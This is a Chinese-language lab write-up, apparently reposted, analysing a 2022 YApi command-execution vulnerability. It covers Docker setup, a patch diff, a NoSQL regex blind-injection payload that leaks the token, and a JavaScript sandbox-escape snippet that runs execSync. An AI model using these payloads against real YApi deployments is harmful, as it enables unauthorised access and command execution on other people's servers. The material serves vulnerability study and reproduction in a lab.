2022 Yapi 命令执行漏洞

基础知识

YAPI是由去哪儿网移动架构组(简称YMFE,一群由FE、iOS和Android工程师共同组成的具想象力、创造 力和影响力的大前端团队)开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口 管理平台。YAPI旨在为开发、产品和测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、 发布和维护不同项目,不同平台的API。YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项 目,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采 用。

漏洞简介

wKg0C2ONnu6ADW8HAAEgXqqpyg692.png

环境搭建

利用 docker 来搭建漏洞环境 docker yyds

利用项目 https://github.com/fjc0k/docker-YApi 来搭建 docker

为了确定 docker 对应的版本信息 我们查看 选择版本 1.10.2

https://hub.docker.com/r/jayfong/yapi/tags

wKg0C2ONnwCAFgMsAABKlYzgomg395.png

git clone https://github.com/fjc0k/docker-YApi cd docker-YApi vim docker-compose.yml # 修改 yapi 的版本 docker-compose up -d

wKg0C2ONn1SAXQqfAAB0psQomb4326.png

访问 http://127.0.0.1:40001 账号名:admin@docker.yapi 密码:adm1n

wKg0C2ONn3SAfi0GAABQoJw9nI289.png

wKg0C2ONn3ADaBKAABZl5eiA0k562.png

创建成功之后需要创建项目 添加接口

wKg0C2ONn5CAZsWQAABImkXnKuQ560.png

wKg0C2ONn5AcSR7AABWDOqtCts149.png

wKg0C2ONn7KAWiOsAABFBgXryLg861.png

wKg0C2ONn8CAMcLdAABC09zqsuw588.png

wKg0C2ONn8uAVimCAABBmyhMIsY498.png

当然也是可以直接利用 vulhub 上的这个项目,省去创建项目与添加接口的操作 https://github.com/vulhub/vulhub/tree/master/yapi/mongodb-inj

漏洞复现

直接利用 github 上的脚本进行复现 https://github.com/vulhub/vulhub/blob/master/yapi/mongodb-inj/poc.py

wKg0C2ONnSAQOtuAADPDUoj2IA764.png

漏洞分析

根据漏洞描述,通过注入漏洞获取有效用户 token ,进而利用自动化测试接口绕过沙箱限制,最终在目标系统上执行任意命令。可以得出漏洞分为两个部分,第一部分是注入获取管理员 token ,第二部分是绕过沙箱限制实现命令执行。

通过查看 commits 记录

wKg0C2ONnGAQsl1AABm3Smx7uQ770.png

wKg0C2ONoAGAOQGmAABh1vB2TPw639.png

https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c

wKg0C2ONoC6APoYiAABNPVzInaM848.png

NoSQL 注入

wKg0C2ONoDuARMsbAADEGh7nO2w485.png

根据修复记录, 推断出注入点应该为 token

wKg0C2ONoEaAExzYAAB4kjFOxAs447.png

这里的 openApiRouter 存在多个路径,因为、/api/open/ 开头的路由会到另一个分支 所以除路由 /api/open/run_auto_test/api/open/import_data 应该都可触发

我们利用一个路由 /api/interface/add_cat 根据 https://hellosean1025.github.io/yapi/openapi.html 找到需要传入的参数

wKg0C2ONoFWAPvDAABXED5vL0M874.png

当传入的 token 为正确值时 返回数据

wKg0C2ONoGGAOzfXAACqyGIO5CQ437.png

当传入的 token 未匹配到时,返回请登录

wKg0C2ONoGyAM1q6AACjjzfgPkw982.png

如此看来 此处就为 NoSQL 的盲注

wKg0C2ONoHiAXBXGAABA1go6vck791.png

首先调用 parseToken 对 token 进行处理

wKg0C2ONoIKACRAABBq7CKxtw421.png

判断 token 不为空后 调用 aseDecode 进行解密,解密失败最终会返回 false

wKg0C2ONoIyAKpz3AAA8kUVAQwM450.png

经过条件判断之后 进入 getProjectIdByToken

wKg0C2ONoJeAEsdNAAAiIMjRsM288.png

会根据传入的 token 出现项目 id

wKg0C2ONoKSALw21AAAZZNGHy6s876.png

在 findId 中 最后会调用 mongdb 中的 findOne 查询数据。

这里我们注意到 是没有回显的盲注,仅能通过登录是否成功来进行判断

当页面没有回显时,那么我们可以通过 $regex正则表达式来达到和 SQL 注入中substr()函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。

db.token.findOne({token: token});

利用 \$regex 正则匹配

db.token.findOne({token: {'\$regex':'^'}});

wKg0C2ONoKAJIq7AABXFtuwA1o330.png

wKg0C2ONoLiAQXxAACvOQA6GM211.png

"token":{"\$regex":"^[a-z]"}                 #查询token 第一位是否是 a-z
"token":{"\$regex":"^[0-9]"}                 #查询token 第一位是否是 0-9

wKg0C2ONoMSANFVGAAC12meZRNQ674.png

命令执行

注意到修复的方法是 关闭 Pre-request Script 和 Pre-response Script

其实本质上仍为yapi 2021 远程命令执行漏洞

java const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐